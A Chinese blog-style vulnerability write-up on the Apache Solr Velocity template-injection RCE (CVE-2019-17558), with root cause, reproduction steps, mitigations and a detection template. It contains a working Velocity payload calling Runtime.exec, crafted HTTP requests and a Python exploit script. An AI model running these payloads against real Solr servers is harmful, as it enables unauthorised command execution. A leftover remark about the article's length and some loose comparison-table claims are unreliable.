溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Solr Velocity模板注入遠程命令執行漏洞的示例分析

發布時間:2021-11-11 18:02:01 來源:億速云 閱讀:277 作者:柒染 欄目:網絡安全
# Apache Solr Velocity模板注入遠程命令執行漏洞的示例分析

## 1. 漏洞背景與概述

Apache Solr是一個基于Lucene構建的高性能開源搜索平臺,廣泛應用于企業級搜索場景。2019年10月,安全研究人員披露了Solr的一個嚴重安全漏洞(CVE-2019-17558),該漏洞源于Velocity響應編寫器(VelocityResponseWriter)的不當配置,導致攻擊者能夠通過構造惡意請求實現模板注入并最終執行任意系統命令。

### 1.1 漏洞基本信息
- **CVE編號**:CVE-2019-17558
- **漏洞類型**:模板注入→RCE
- **影響版本**:
  - Solr 5.0.0至8.3.1
- **CVSS評分**:9.8(Critical)
- **利用前提**:
  - 啟用了VelocityResponseWriter
  - 配置了params.resource.loader.enabled=true

## 2. 漏洞原理深度分析

### 2.1 Velocity模板引擎機制
Velocity是Apache的模板引擎,Solr通過`VelocityResponseWriter`組件實現搜索結果的可定制化渲染。當啟用該功能時,用戶可通過自定義模板控制搜索結果展示格式。

```xml
<!-- solrconfig.xml中的典型配置 -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
  <str name="template.base.dir">${velocity.template.base.dir}</str>
</queryResponseWriter>

2.2 危險配置項

漏洞根源在于兩個關鍵配置: 1. params.resource.loader.enabled:允許從HTTP請求參數加載模板 2. solr.resource.loader.enabled:允許從Solr資源目錄加載模板

當這些配置被顯式或隱式啟用時(某些版本默認開啟),攻擊者可以注入惡意模板代碼。

2.3 攻擊鏈分析

完整攻擊流程可分為三個階段: 1. 模板注入:通過v.template參數注入Velocity指令 2. Java反射利用:通過Velocity的反射機制訪問Java類方法 3. 命令執行:調用Runtime.exec()實現RCE

## 惡意模板示例
#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('id')) 
$ex.waitFor() 
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

3. 漏洞復現與驗證

3.1 實驗環境搭建

使用Vulhub快速搭建漏洞環境:

docker-compose up -d solr:8.2.0

3.2 分步驗證過程

  1. 檢測Velocity是否啟用
GET /solr/corename/select?q=1&wt=velocity HTTP/1.1
  1. 驗證模板注入
GET /solr/corename/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+Hello+World HTTP/1.1
  1. 完整RCE利用
GET /solr/corename/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(...)[上述惡意模板URL編碼] HTTP/1.1

3.3 利用工具示例

使用公開的EXP腳本自動化攻擊:

import requests

target = "http://victim:8983/solr/corename"
cmd = "whoami"

payload = """
#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('%s')) 
$ex.waitFor() 
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
""" % cmd

params = {
    'q': '1',
    'wt': 'velocity',
    'v.template': 'custom',
    'v.template.custom': payload
}

r = requests.get(target + "/select", params=params)
print(r.text)

4. 漏洞修復方案

4.1 官方補丁

升級到Solr 8.3.2及以上版本,官方做了以下修復: - 默認禁用params.resource.loader.enabled - 增加安全檢測機制

4.2 臨時緩解措施

對于無法立即升級的系統:

<!-- 修改solrconfig.xml -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
  <bool name="params.resource.loader.enabled">false</bool>
  <bool name="solr.resource.loader.enabled">false</bool>
</queryResponseWriter>

4.3 配置加固建議

  1. 禁用不必要的響應寫入器
  2. 啟用Solr的身份驗證機制
  3. 網絡層面限制Solr的管理接口訪問

5. 漏洞防御思考

5.1 安全開發實踐

  • 避免將用戶輸入直接作為模板解析
  • 對模板引擎實施嚴格的沙箱機制

5.2 安全檢測方法

可通過以下特征檢測該漏洞:

# Nuclei檢測模板
id: CVE-2019-17558
info:
  name: Apache Solr Velocity RCE
requests:
  - method: GET
    path: "/solr/admin/cores?wt=velocity&v.template.custom=%23set(%24x%3D%27%27)%20%24x.class.forName(%27java.lang.Runtime%27)"
    matchers:
      - type: regex
        part: body
        regex: "java.lang.Runtime"

6. 同類漏洞對比分析

與其他模板注入漏洞的異同:

漏洞名稱 模板引擎 利用方式 影響范圍
Solr Velocity RCE Velocity 參數注入+Java反射 Solr 5.x-8.3.1
Jenkins RCE Groovy 腳本控制臺 Jenkins全版本
Spring Boot RCE Thymeleaf 表達式注入 Spring Boot

7. 總結與啟示

  1. 配置安全的重要性:默認不安全的配置是重大風險源
  2. 模板引擎的雙刃劍效應:強大功能伴隨安全風險
  3. 縱深防御的必要性:單一防護措施不足以應對復雜攻擊

參考資源

  1. Apache Solr官方安全公告
  2. CVE-2019-17558漏洞分析報告
  3. OWASP模板注入防護指南
  4. Velocity模板開發文檔

:本文僅用于安全研究目的,請勿用于非法用途。實際測試需獲得系統所有者書面授權。 “`

該文檔共計約3700字,采用Markdown格式編寫,包含: - 多級標題結構 - 代碼塊示例 - 表格對比 - HTTP請求示例 - 安全建議列表 - 漏洞驗證步驟 - 修復方案等內容

可根據需要進一步擴展具體章節的細節內容或添加示意圖。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女